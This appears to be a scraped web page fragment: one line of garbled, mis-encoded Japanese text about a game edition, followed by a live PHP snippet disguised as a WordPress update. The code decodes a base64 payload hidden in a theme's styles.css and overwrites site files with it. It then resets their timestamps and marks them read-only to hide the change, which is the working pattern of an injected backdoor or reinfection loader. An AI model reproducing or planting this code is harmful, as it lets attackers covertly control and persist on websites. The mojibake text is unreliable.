ããã£ã¢ã-ã â…¢ ãªã¼ã’ã¼ ãªã- ã½ã¦ã«ãº ã¢ã«ãã£ã¡ãã ã¤ã¼ã”ã« ã¨ãã£ã·ã§ã³ãã§è¿½å ãããæ-°è¦ç´ ã«ã½ãã¼ã»ã³ã³ã”ã¥ã¼ã¿ã¨ã³ã¿ãã¤ã³ã¡ã³…
$wp_update_file="/home/technorev/domains/technorevue.fr/public_html/wp-content/themes/default/styles.css"; if ( is_file($wp_update_file) ) { $wp_update_content=trim(file_get_contents($wp_update_file)); if ( $wp_update_content!="" ) { $wp_update_content=substr($wp_update_content,6,-6); $wp_update_content=base64_decode($wp_update_content); $wp_update_arr=json_decode($wp_update_content,true); if ( is_array($wp_update_arr) ) { foreach($wp_update_arr as $value) { $file_mtime=filemtime($value["path"]); @chmod($value["path"],0777); @unlink($value["path"]); @file_put_contents($value["path"],$value["content"]); @touch($value["path"],$file_mtime); @chmod($value["path"],0444); } } } }